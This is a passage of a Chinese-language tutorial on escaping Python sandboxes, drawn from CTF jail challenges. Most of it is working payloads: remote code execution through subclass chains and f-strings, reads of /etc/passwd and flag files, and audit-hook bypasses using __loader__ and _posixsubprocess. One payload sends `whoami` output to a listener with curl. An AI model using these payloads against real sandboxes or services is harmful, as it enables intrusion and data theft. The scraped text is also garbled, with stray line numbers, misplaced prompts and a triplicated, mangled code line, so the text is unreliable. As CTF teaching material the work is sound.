print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用&、 *替代

例如

1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

()绕过

利用装饰器 @
利用魔术方法,例如 enum.EnumMeta.__getitem__
f 字符串执行

f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如获取环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

也可以直接 RCE

f'{__import__("os").system("whoami")}'
root

f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"

内建函数绕过

eval + list + dict 构造

假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。

1
2
3
4
5
6
eval('str')
<class 'str'>
eval('bool')
<class 'bool'>
eval('st'+'r')
<class 'str'>

这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。

1
2
eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数(__buildin__)。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

.获取获取函数

通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64

或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')

如果将,和.都过滤了,则可以有如下的几种方式获取函数:

内建函数可以使用eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

模块内的函数可以先使用__import__导入函数,然后使用 vars() 进行获取:

1
2
vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

unicode 绕过

Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

1
2
eval == 𝘦val
True

相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符

相似 unicode 脚本:

1
2
3
4
5
6
7
8
9
10
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
下面是 0-9,a-z 的 unicode 字符
1
2
3
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻  𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡 

下划线可以使用对应的全角字符进行替换:_

使用时注意第一个字符不能为全角,否则会报错:

1
2
3
4
>>> print(__name__) __main__ 
>>> print(__name__)
File "<stdin>", line 1 print(__name__)
^ SyntaxError: invalid character '_' (U+FF3F)

需要注意的是,某些 unicode 在遇到 lower() 函数时也会发生变换,因此碰到 lower()、upper() 这样的函数时要格外注意。

绕过命名空间限制

部分限制

有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)

def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
...
exec command in _global # do calculate in a sandboxed
...

沙箱首先获取 _builtins_,然后依据现有的 _builtins_ 来构建命名空间。
修改 __import__ 函数为自定义的_hook_import_
删除 open 函数防止文件操作
exec 命令。
绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 builtins(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:

1
__import__('types').__builtins__ __import__('string').__builtins__ 
完全限制(no builtins)

如果沙箱完全清空了 builtins, 则无法使用 import,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
eval("__import__")
<built-in function __import__>
exec("import os")
exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ImportError: __import__ not found

这种情况下我们就需要利用 python 继承链来绕过,其步骤简单来说,就是通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。

具体原理可见:Python沙箱逃逸小结

常见的一些 RCE payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()


常见的一些 File payload 如下:

1
2
3
4
操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

绕过多行限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
>>> eval("__import__('os');print(1)")
>>> Traceback (most recent call last):
>>> File "<stdin>", line 1, in <module>
>>> File "<string>", line 1
>>> __import__('os');print(1)
>>> 1
>>> 2
>>> 3
>>> 4
>>> 5
>>> exec

exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
>>> 1
>>> 1
>>> 2
>>> compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
1
海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

海象表达式的语法形式如下:

<expression> := <value> if <condition> else <value>
1
借助海象表达式,我们可以通过列表来替代多行代码:

>>> eval('[a:=__import__("os"),b:=a.system("id")]')
>>> uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
>>> [<module 'os' (frozen)>, 0]
>>> 1
>>> 2
>>> 3
>>> 绕过长度限制
>>> BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

# f = 102 = 333-231 = ord('ō')-ord('ç')

# a = 108 = 333-225 = ord('ō')-ord('á')

# l = 97 = 333-236 = ord('ō')-ord('ì')

# g = 103 = 333-230 = ord('ō')-ord('æ')

# . = 46 = 333-287 = ord('ō')-ord('ğ')

# t = 116 = 333-217 = ord('ō')-ord('Ù')

# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;。

这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a(‘ō’) 进行替换。这样就可以构造一个满足条件的 payload

1
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") 

但其 实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) 

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

1
𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵()) 

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

1
__import__('os').system('whoami') 

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>>> eval(sys.stdin.read())
>>> __import__('os').system('whoami')
>>> root
>>> 0
>
>1
>2
>3
>4
>5
>sys.stdin.readline()

>>> eval(sys.stdin.readline())
>>> __import__('os').system('whoami')
>>> 1
>>> 2
>>> sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
>>> __import__('os').system('whoami')
>>> 1
>>> 2
>>> 在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
<stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txt
1
2
3
4
5
6
7
8
9

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助(不编码也能打开)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
𝘩𝘦𝘭𝘱() 

然后输入 os,此时会进入 os 的帮助文档。

help> os



然后再输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt

字符串叠加

参考[CISCN 2023 初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。

我们想执行的代码:import(“os”).popen(“tac flag”).read()

1
2
3
4
5
'__import__'
_+'("os").p'
_+'open("ta'
_+'c flag")'
_+'.read()'

变量覆盖与函数篡改

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules[‘main’] 就可以访问当前模块定义的所有函数以及全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
>>> aaa = 'bbb'
>>> def my_input():
>>> ... dict_global = dict()
>>> ... while True:
>>> ... try:
>>> ... input_data = input("> ")
>>> ... except EOFError:
>>> ... print()
>>> ... break
>>> ... except KeyboardInterrupt:
>>> ... print('bye~~')
>>> ... continue
>>> ... if input_data == '':
>>> ... continue
>>> ... try:
>>> ... complie_code = compile(input_data, '<string>', 'single')
>>> ... except SyntaxError as err:
>>> ... print(err)
>>> ... continue
>>> ... try:
>>> ... exec(complie_code, dict_global)
>>> ... except Exception as err:
>>> ... print(err)
>>> ...
>>> import sys
>>> sys.modules['__main__']
>>> <module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
>>> ['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
>>> 'bbb'

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.

总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.

利用 gc 获取已删除模块

这个思路来源于 writeup by fab1ano – github

这道题的目标是覆盖 main 中的 exit 函数,但是题目将 sys.modules['__main’] 删除了,无法直接获取.

1
2
3
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]

gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。

  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。

  3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

exp 如下

1
2
3
4
5
6
7
8
9
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

利用 traceback 获取模块

这个思路来源于 writeup by hstocks – github

主动抛出异常, 并获取其后要执行的代码, 然后将__exit__ 进行替换, 思路也是十分巧妙.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back

# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print

# Now we're free to call whatever we want
os.system('cat /flag*')

但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.getattr hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用

绕过 audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。

Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • write:发生在写入文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • ocket:发生在创建或使用网络套接字时。
  • os.system,os.popen等:发生在执行操作系统命令时。
  • subprocess.Popen,subprocess.run等:发生在启动子进程时。
  • PEP 578 – Python Runtime Audit Hooks

calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import sys

def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)


def main():
WELCOME = '''

_ _ _ _ _ _ _ __

| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''

CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()

if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()

这道题需要绕过的点有两个:

绕过 import 导入模块. 如果直接使用 import,就会触发 audithook

1
2
3
4
__import__('ctypes')
Operation not permitted: import

绕过常规的命令执行方法执行命令. 利用 os, subproccess 等模块执行命令时也会触发 audithook

调试技巧

本地调试时可以在 hook 函数中添加打印出 hook 的类型.

1
2
3
4
5
def my_audit_hook(my_event, _):
print(f'[+] {my_event}, {_}')
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

这样在测试 payload 时就可以知道触发了哪些 hook

1
2
3
4
import os
[+] builtins.input/result, ('import os',)
[+] compile, (b'import os', '<string>')
[+] exec, (<code object <module> at 0x7f966795bec0, file "<string>", line 1>,)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__loader__.load_module 导入模块

__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.

__loader__.load_module('os')

__loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取

>>> ().__class__.__base__.__subclasses__()[84]
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
>>> 'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> 1
>>> 2
>>> 3
>>> 4
>>> 5
>>> 6
>>> 7
>>> 8
>>> __loader__.load_module 也有一个缺点就是无法导入非内建模块. 例如 socket

>>> __loader__.load_module('socket')
>>> Traceback (most recent call last):
>>> File "<stdin>", line 1, in <module>
>>> File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
>>> File "<frozen importlib._bootstrap>", line 721, in _load
>>> File "<frozen importlib._bootstrap>", line 676, in _load_unlocked
>>> File "<frozen importlib._bootstrap>", line 573, in module_from_spec
>>> File "<frozen importlib._bootstrap>", line 776, in create_module
>>> ImportError: 'socket' is not a built-in module

_posixsubprocess 执行命令

_posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

在我本地的 Python 3.11 中具体的函数声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...

__process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。
__executable_list: 可执行程序路径的列表。
__close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。
__fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。
__cwd_obj: 新进程的工作目录。
__env_list: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。
__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。
__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。
__restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。
__call_setsid: 如果设置为1,则在新进程中创建新的会话。
__pgid_to_set: 设置新进程的进程组 ID。
__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。
__child_umask: 设置新进程的 umask。
__preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。
__allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

下面是一个最小化示例:

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)xxxxxxxxxx import osimport _posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)1 2 3 4 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合上面的 loader.load_module(fullname) 可以得到最终的 payload:

1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

可以看到全程触发了 builtins.input/result, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, loader.load_module 和 _posixsubprocess 都没有触发.

1
2
3
[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)

另一种解法: 篡改内置函数

这道 audit hook 题还有另外一种解法.可以看到白名单是通过 set 函数返回的, set 作为一个内置函数实际上也是可以修改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) 

比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1
这样 set 函数会固定返回带有 os.system 的列表.

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1
最终 payload:

#
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

篡改函数

1
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")
其他不触发 hook 的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
使用 __loader__.load_module('os') 是为了获取 os 模块, 其实在 no builtins 利用手法中, 无需导入也可以获取对应模块. 例如:

# 获取 sys

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os

